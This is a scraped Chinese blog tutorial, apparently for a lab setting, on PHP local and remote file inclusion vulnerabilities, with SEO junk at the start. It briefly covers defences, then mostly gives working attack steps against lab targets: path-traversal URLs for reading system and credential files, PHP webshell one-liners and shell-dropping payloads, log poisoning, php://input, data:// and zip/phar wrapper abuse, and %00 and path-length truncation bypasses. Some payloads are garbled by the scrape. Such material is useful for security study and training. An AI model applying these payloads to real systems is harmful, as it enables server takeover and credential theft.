网站备案号 放网站,网站建设烟台,网站地图 格式,jquery 上传wordpress文章目录#xff1a;
一#xff1a;前言
1.什么是文件包含漏洞
2.文件包含漏洞的成因
3.文件包含漏洞的分类
4.文件包含漏洞的防御策略
5.文件包含函数#xff08;触发点Sink#xff09;
6.环境
6.1 靶场
6.2 其他工具
二#xff1a;文件包含LFI labs靶场实验…文章目录
一前言
1.什么是文件包含漏洞
2.文件包含漏洞的成因
3.文件包含漏洞的分类
4.文件包含漏洞的防御策略
5.文件包含函数触发点Sink
6.环境
6.1 靶场
6.2 其他工具
二文件包含LFI labs靶场实验
LFI-1
LFI-2
LFI-3
LFI-4
LFI-5
LFI-6
LFI-7-14
三文件包含漏洞的-利用方式
1.本地文件方式利用
1.1 包含日志文件获取webshell
1.2 利用file协议
1.3 php_filter命令获取flag
1.4 php_ zip命令压缩协议获取webshell
1.5 phar://协议
2.远程文件方式利用
2.1 包含远程文件
2.2 php_input命令执行及获取webshell
2.3 php_data命令获取webshell
四文件包含漏洞的-绕过方式
1.本地文件绕过方式绕过
%00截断
路径长度截断/操作系统特性进行文件包含绕过. ,/
2.远程文件绕过方式绕过%23 %20 一前言
1.什么是文件包含漏洞 定义文件包含漏洞File Inclusion Vulnerability通常出现在动态网页中它允许攻击者在应用程序中任意包含本地或远程文件从而导致敏感信息泄露、远程命令执行甚至完全控制目标系统为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来直接使用包含文件的代码简单来说开发人员将需要重复的函数写入一个文件对该文件进行包含时产生的操作目的提高代码的重复利用率、减少代码冗余、降低代码后期维护难度 2.文件包含漏洞的成因 文件包含漏洞的成因文件包含漏洞出现在PHP语言中在未正确进行输入验证和过滤的用户提供的输入情况下在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞简单来说加载的参数没有经过过滤或严格定义可以被用户控制包含其他恶意文件导致执行非预期代码?php $file$_GET[filename];include($filename);//...?http://xxx/xxx.php?filenameshow.php改变filename值即可改变代码中含有的文件 3.文件包含漏洞的分类 文件包含的内容只要符合php语法都能被当成php代码进行解析无关后缀名是什么 文件包含漏洞的分类本地文件包含Local File Inclusion, LFI当被包含的文件位于服务器本地时就形成了本地文件包含漏洞攻击者可以利用这个漏洞读取服务器上的敏感文件如配置文件、数据库文件等甚至执行服务器上的恶意脚本例子http://localhost/filename/?pagec:/windows/win.ini远程文件包含Remote File Inclusion, RFI当被包含的文件位于第三方服务器时就形成了远程文件包含漏洞这种漏洞允许攻击者包含并执行远程服务器上的恶意脚本url文件从而对目标系统造成更大的威胁但需要注意的是远程文件包含漏洞的利用通常需要服务器配置中的allow_url_include选项被开启php.ini中设置:php.ini中设置allow url fopen On(默认)、allow url include On(php5.2后默认为Off)allow_url_fopen:为ON时,能读取远程文件默认例如file_get_contents()就能读远程文件Alow_url_include:为ON时就可使用include和require等方式包含远程文件例子http://localhost/filename/?page../../../phpinfo.php例子http://localhost/filename/?pagephpinfo.txxphpinfo.txt ?php phpinfo();? 4.文件包含漏洞的防御策略 文件包含漏洞的防御策略过滤危险字符使用如str_replace等方法过滤掉用户输入中的危险字符配置open_basedir通过配置php.ini中的open_basedir指令限制PHP能够打开的文件目录防止目录遍历使用安全的文件包含函数推荐使用include_once()和require_once()函数来包含文件这些函数可以防止文件被包含多次验证用户输入在包含文件之前验证用户输入是否是有效的防止攻击者通过提交恶意文件来触发文件包含漏洞使用白名单对于动态包含的文件可以设置一个白名单只包含白名单中的文件做好权限管理确保文件和目录的权限设置合理防止非授权用户访问敏感文件使用Web应用程序防火墙WAFWAF可以阻止攻击者利用文件包含漏洞进行恶意攻击过滤.(点)/(反斜杠)\(反斜杠)禁止服务器远程文件包含尽量不要使用动态包含可以在需要包含的页面固定写好 5.文件包含函数触发点Sink
require组require函数出现错误会直接报错并退出程序执行require_once函数出现错误会直接报错并退出程序执行仅包含一次include组include函数出现错误会抛出一个警告程序继续执行include_once函数出现错误会抛出一个警告程序继续执行仅包含一次 代码审计时间用 Include如果包含的文件有错误/路径有错误会继续执行不会影响整个程序 有返回值如果指定的文件不存在PHP会发出一个警告E_WARNING但脚本会继续执行include 可以在脚本的任意位置使用以引入需要的功能代码Include_once只包含一次require如果包含的文件有错误/路径有错误会继续执行 会影响整个程序没有返回值如果指定的文件不存在PHP会发出一个致命错误E_COMPILE_ERROR并停止脚本的执行。这通常用于那些缺少了就无法继续执行的文件require once与 require 类似但它在引入文件之前会检查该文件是否已经被引入过以避免重复引入highlight_file()用于输出文件并语法高亮显示这对于查看PHP源代码特别有用因为它会以HTML格式显示文件内容并尝试对PHP代码进行语法高亮show_source()与 highlight_file() 类似但它直接输出或返回文件的源代码而不是通过浏览器显示它同样尝试对PHP代码进行语法高亮readfile()将整个文件读入一个字符串并将文件内容输出这个函数主要用于直接输出文件到浏览器或客户端file_get_contents()将整个文件读入一个字符串与 readfile() 不同file_get_contents() 不会直接输出文件内容而是将内容存储在变量中供后续处理fopen()用于打开文件或URL返回一个文件指针资源之后可以使用其他文件操作函数如 fread()、fwrite()、fclose() 等对文件进行读写操作file() 将整个文件读入一个数组中每个元素都是文件的一行。这对于逐行处理文件内容非常方便 6.环境
6.1 靶场 LFI labslfi-labs、lfi-labs-master镜像地址 Bugku CTF由乌云知识库(wooyun.org)推出的在线漏洞靶场 pikachu带有漏洞的Web应用系统在这里包含了常见的web安全漏洞 DVWA是一个PHP/MySQL Web应用程序,包含常见漏洞,用于安全培训和练习可参考 6.2 其他工具 phpSdudy burp 中国菜刀 二文件包含LFI labs靶场实验
绕过方式不带后缀绕过%00截断加点.绕过加斜杠点/.绕过深入目录../../绕过双写../绕过 或者 ../替换空格绕过
phpinfo.php?php phpinfo(); ?webshell.php {eval() 函数把字符串按照 PHP 代码来计算}?php eval($_POST([margin])); ?
LFI-1 Load URL地址http://www.lfi.com/LFI-1/后台代码?php include($_GET[page]); ?获取系统敏感文件http://www.lfi.com/LFI-1/?pagec:\\boot.ini获取webshell http://www.lfi.com/LFI-1/?pagephpinfo.phphttp://www.lfi.com/LFI-1/?pagephpinfo.jpghttp://www.lfi.com/LFI-1/?pagephpinfo.txthttp://www.lfi.com/LFI-1/?page../webshell.php LFI-2 Load URL地址http://www.lfi.com/LFI-2/后台代码?php include(includes/.$_GET[library]..php); ?获取系统敏感文件http://www.lfi.com/LFI-2/?libraryc://boot.iniinclude(includes/c://boot.ini.php); 绝对路径http://www.lfi.com/LFI-2/?libraryc://boot.ini%00 %00截断include(includes/c://boot.ini%00.php); include(includes/c://boot.ini .php); 相对路径http://www.lfi.com/LFI-2/?library../boot.ini%00 http://www.lfi.com/LFI-2/?library../../boot.ini%00 http://www.lfi.com/LFI-2/?library../../../boot.ini%00 include(includes/../../../boot.ini%00.php); include(includes/../../../boot.ini .php); http://www.lfi.com/LFI-2/?library../../../phpinfo.php%00 获取webshellhttp://www.lfi.com/LFI-2/?library../../../webshell.php%00 LFI-3 Load URL地址http://www.lfi.com/LFI-3/后台代码?php if(substr($_GET[file],-4,4)! .php) //从结尾倒数第四个开始取4个长度echo file_get_contents($_GET[file]);elseecho you are not allowed to see source files.\n;?获取系统敏感文件http://www.lfi.com/LFI-3/?filec://boot.ini 可以查看http://www.lfi.com/LFI-3/?file../phpinfo.ini 不可以查看http://www.lfi.com/LFI-3/?file../phpinfo.ini%00 没有提示http://www.lfi.com/LFI-3/?file../../../../phpinfo.ini%00 还是不可以http://www.lfi.com/LFI-3/?file../../phpinfo.php. 加点.绕过http://www.lfi.com/LFI-3/?file../../phpinfo.php/. 加斜杠点/.绕过http://www.lfi.com/LFI-3/?file../../phpinfo.php%00 利用burp工具抓包%00截断 LFI-4 Load URL地址http://www.lfi.com/LFI-4/后台代码//---------------------------------------------------------------------------------//addslashes()函数返回在预定义字符之前添加反斜杠的字符串 在他们{ \ NULL}之前添加\如果用%00截断他们的区别../../../../../phpinfo.php../../../../../phpinfo.php\0 //---------------------------------------------------------------------------------//?php $path includes/class_.addslashes($_GET([class]))..php ;echo file_get_contents($path);?获取系统敏感文件http://www.lfi.com/LFI-4/?class../phpinfo 不可以查看http://www.lfi.com/LFI-4/?class../../../../../phpinfo 可以查看深入目录../../绕过如果$path includes/class_.($_GET([class]))..php ;http://www.lfi.com/LFI-4/?class../../../../../phpinfo%00 也可以查看 LFI-5 Load URL地址http://www.lfi.com/LFI-5/后台代码?php $filestr_replace(../,,$_GET(file));if(isset($file))include(page/$file);elseinclude(index.php);?获取系统敏感文件http://www.lfi.com/LFI-5/?filec://boot.ini 不可以查看http://www.lfi.com/LFI-5/?file../../phpinfo.php 不可以查看http://www.lfi.com/LFI-5/?class..././..././../phpinfo.info 可以查看(双写../绕过 或者 ../替换空格绕过) LFI-6 Load URL地址http://www.lfi.com/LFI-6/后台代码?php include($_POST[page]);?获取系统敏感文件http://www.lfi.com/LFI-6/?pagec://boot.ini 可以查看http://www.lfi.com/LFI-6/?page../../phpinfo.php 可以查看获取webshell但是POST文件包含无法直接获取需要加工一下文件包含写shell第一步image.jpg在图片里面写入:小马?php fputs(fopen(shell.php,w), ?php eval($_POST[shell])?); ?第二步勾选enable post data执行会生成一个shell.phphttp://www.lfi.com/LFI-6/?page../../image.php 第三步访问查看http://www.lfi.com/LFI-6/?page../../shell.php 可以查看 LFI-7-14 第七题POST方式提交1ibrary../../../phpinfo.php%00 %00截断或者 1ibrary../../../phpinfo 不带后缀第八题POST提交http://www.lfi.com/LFI-3/?file../../phpinfo.php%00 %00截断 或者 phpinfo.php/. /.绕过第九题POST提交class../../../../../phpinfo 不带后缀
第十题POST提交fi1e..././..././..././phpinfo.php 双写../替换为空第十一题POST:stylepath../../phpinfo.php hidden隐藏的输入框 两个参数分别试一试
第十二题GET :stylepath../../phpino.php hidden隐藏的输入框 两个参数分别试一试第十三题GET 方式:fi1e..././..././..././phpinfo.php 双写../替换为空
十四题POST方式:file..././..././..././phpinfo.php 双写../替换为空 三文件包含漏洞的-利用方式 PHP支持的协议和封装协议 file://访问本地文件系统http://访问HTTP(s)网址fpt://访问FPT(s) URLsphp://访问各个输入/输出流I/O streamszlib://压缩流data://数据RFC 2397glob://查找匹配的文件路径模式phar://PHP文档ssh2://Secure Shell 2rar://RARogg://音频流expect://处理交互式的流 文件包含漏洞的利用方式直接包含恶意文件攻击者可以通过URL参数直接指定恶意文件的路径使应用程序包含并执行该文件利用伪协议如php://filter、data://等这些伪协议允许攻击者控制输入流将恶意代码作为输入流传递给应用程序php://filter 是一种元封装器 设计用于数据流打开时的筛选过滤应用data:// 同样类似与php://input可以让用户来控制输入流php://input可以访问请求的原始数据的只读流将post请求的数据当作php代码执行phar://xxx.png/shell.php 解压缩包的一个函数,不管后缀是什么都会当做压缩包来解压包含日志文件通过包含服务器的日志文件如Apache的access.log或error.log来执行日志中的恶意代码包含session00截断长度截断Windows256Linux40961.本地文件方式利用
1.1 包含日志文件获取webshell 日志默认路径apacheLinux日志默认路径/etc/httpd/logs/access_log/var/log/httpd/access_logapachewin2003日志默认路径D:\xampp\apache\logs\access.log D:\xamppiapache\logs\error.logIIS6.0win2003默认日志文件C:WINDOUS\system32\LogfilesIIS7.0win2003 默认日志文件%SystemDrives%\inetpub\logs\LogFilesnginx日志文件日志文件在用户安装目录logs目录下 以我的安装路径为例/usr/local/nginx 那我的日志目录就是在/usr/local/nginx/logs里 敏感文件默认路径列举windows系统C:\boot.ini查看系统版本C:\windows\system32\inetsrvMetaBase.xmliis配置文件C:\windowslrepairlsame存储windows系统初次安装密码C:\ProgramFilesmysqlmy.inimysql配置信息C:\ProgramFiles\mysql\data\mysqluser.MYDmysql root密码C:\lwindowslphp.iniphp配置信息linux/unix系统/etc/passwd账户信息/etc/shadow账户密码文件/usr/local/app/apache2/conf/httpd.confApache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf虚拟网站配置/usr/local/app/php5/lib/php.iniphp相关配置/etc/httpd/conf/httpd.confapache配置信息/etc/my.confmysql配置文件 Load URL地址http://www.lfi.com/LFI-1/访问日志文件http://www.lfi.com/LFI-1/pagec:\phpStudy\Apache\logs\datafile.log查看一句话木马第一步写入http://www.lfi.com/LFI-1/?php phpinfo(); ?http://www.lfi.com/LFI-1/?page../../phpinfo.php第二步查看http://www.lfi.com/LFI-1/pagec:\phpStudy\Apache\logs\datafile.loghttp://www.lfi.com/LFI-1/page..\..\..\Apache\logs\datafile.log特殊字符被url编码问题用burp抓包 获取url页面 第一步执行 http://www.lfi.com/LFI-1/第二步修改 GET /LEI-1/HTTP/1.1 GET /LEI-1/?php phpinfo(); ? HTTP/1.1 第三步查看http://www.lfi.com/LFI-1/pagec:\phpStudy\Apache\logs\datafile.log获取一句话木马第一步执行 http://www.lfi.com/LFI-1/第二步修改 GET /LEI-1/HTTP/1.1 GET /LEI-1/?php eval($_POST([margin])); ? HTTP/1.1 第三步查看http://www.lfi.com/LFI-1/pagec:\phpStudy\Apache\logs\datafile.log1.2 利用file协议 php.ini中设置allow url fopen off)、allow url include off) Load URL地址http://www.lfi.com/php/?pagehttp:192.168.1.239/DVWA-master/valnerabilities/fi/?pagefile://c:/windows/win.ini 1.3 php_filter命令获取flag php://fi1ter 是一种元封装器设计用于数据流打开时的筛选过滤应用
这对于一体式(all-in-one)的文件函数非常有用类似 readfle()、fle()和 fle_get_contents()在数据流内容读取之前没有机会应用其他过滤器php://fi1ter参数resource要过滤的数据流 这个参数是必须的。它指定了你要筛选过滤的数据流read读链的筛选列表 该参数可选。可以设定一个或多个过滤器名称以管道符(|)分隔write写链的筛选列表 该参数可选。可以设定一个或多个过滤器名称以管道符(|)分隔;两个链的筛选列表 任何没有以 read或 write作前缀 的筛选器列表会视情况应用于读或写链 Load URL地址http://www.lfi.com/php/php_filter.php编码文件Load URL地址http://www.lfi.com/php/php_filter.php?filephp://filter/readcovert.base64-encode/resourcephp_filter.php解码文件利用burpdecode as——base64读取flag.php文件——利用burp解码Load URL地址http://www.lfi.com/php/php_filter.php?filephp://filter/readcovert.base64-encode/resourceflag.php获取flaghttp://www.lfi.com/php/php_filter.php 1.4 php_ zip命令压缩协议获取webshell Load URL地址http://www.lfi.com/php/php_zip.phpzip//、bzip2://、zlib//协议压缩流版本利用条件按为php版本大于5.3.0格式zip://[压缩文件绝对路径]#[压缩文件内的子文件名]获取压缩包里面的文件backdoor.phphttp://www.lfi.com/php/php_zip.php?fileuploadhttp://www.lfi.com/php/php_zip.php?filezip://c:\phpstudy\etc.zip%23backdoor.php 1.5 phar://协议 类似于zip协议但是可以使用相对路径格式:phar://[压缩文件绝对/相对路径]压缩文件内的子文件名]上传http://www.lfi.com/php/php_zip.php?filephar://../../phpstudy/etc.zip/backdoor.phpbackdoor.php?php fputs(fopen(shell.php,w), ?php eval($_POST[cmd])?); ??php phpinfo(); ?访问shell.phphttp://www.lfi.com/php/shell.php 2.远程文件方式利用
2.1 包含远程文件 php.ini中设置allow url fopen On(默认)、allow url include On(php5.2后默认为Off) Load URL地址http://www.lfi.com/php/pagehttp:192.168.1.239/phpinfo.php远程包含shellhttp://www.lfi.com/php/pagehttp:192.168.1.239/DVWA-master/valnerabilities/fi/?pagehttp://localhost/remoteshell.txtremoteshell.txt?php$payload?php eval(\$_POST[cmd])?:$myfile fopen(demo.php,w) or die(cant open the file!);fwrite($myfile,$payload);fclose($myfile);? 2.2 php_input命令执行及获取webshell php.ini中设置allow url fopen Off、allow url include On Load URL地址http://www.lfi.com/php/pagephp://input获取phpinfo页面http://www.lfi.com/php/php_input.php?filephp://input ?php phpinfo();?获取当前操作系统目录http://www.lfi.com/php/php_input.php?filephp://input ?php syetem(dir);?获取目录里面内容在服务器上写入小马http://www.lfi.com/php/php_input.php?filephp://input ?php fputs(fopen(shell.php,w), ?php eval($_POST[margin]);?); ?访问shell.phphttp://www.lfi.com/php/shell.php2.3 php_data命令获取webshell php.ini中设置allow url fopen Off、allow url include On Load URL地址http://www.lfi.com/php/php_data.php获取phpinfo文件页面http://127.0.0.1/cmd.php?filedata://text/plain,?php phpinfo()?base ?php phpinfo()?编码http://127.0.0,1/cmd,php?filedata://text/plain;base64.pp9waHAgcGhwaw5mbygpPz4http://127.0.0.1/cmd.php?filedata:text/plain,?php phpinfo()?http://127.0.0.1/cmd.php?filedata:text/plain;base64,Pb9waHagcGhwaW5mbvgpPz4写入小马http://127.0.0.1/cmd.php?filedata://text/plain,?PHP fputs(fopen(shell.php,w,?php eval($ posT[margin]);?);?访问shell.phphttp://www.lfi.com/php/shell.php 四文件包含漏洞的-绕过方式
这里可以参考之前的方法问号、空格、注释、双写、大小写、截断等
1.本地文件绕过方式绕过 ?php include(inc/ .$_GET[file] . .htm);? %00截断 原理php内核由c语言实现因此使用了c语言中的字符串处理函数在连接字符串时0字节作为字符串的结束符 %00url解码为0x00magic quotes gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能条件:magic quotes gpsoff php版本5.3.4?page../../../../phpinfo.php%00%00截断目录遍历:条件:magic_quotes_gpsoff unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris?page../../../../var/www/%00 路径长度截断/操作系统特性进行文件包含绕过. ,/ 文件名不能包含下列任何字符之一\ / : * ? | Load URL地址http://www.lfi.com/LFI-1/php版本小于5.2.8后台代码在php5.3版本以后就不可以使用00截断?php include($_GET[page].html); ?解决办法文件后缀上有多个或单个的点会被自动消除文件名大于256个字符会自动被丢弃掉绕过办法backdoor.php(?php phpinfo()?) http://www.lfi.com/LFI-1/?pagebackdoor.php.....大于256个. 或者大于256个././././Windows下目录最大长度为256字节超出的部分会被丢弃linux 下目录最大长度为4096字节超出的部分会被丢弃 2.远程文件绕过方式绕过%23 %20 ?php$basePath $_GET[path];require_once $basePath ./action/m_share.php;
?绕过方式http://192.168.1.239/DVWA-master/vulnerabilities/fi/?pagehttp://localhost/shell.php?代码实际执行了:require once http://localhost/shell.php?/action/m share.php将/action/m share.php作为http://localhost/shell.php的querystring查询字符串http://192.168.1.239/DVWA-master/vulnerabilities/fi/?pagehttp://locahost/shell.php%23http://192.168.1.239/DVWA-master/vulnerabilities/fi/?pagehttp://localhost/shell.php%20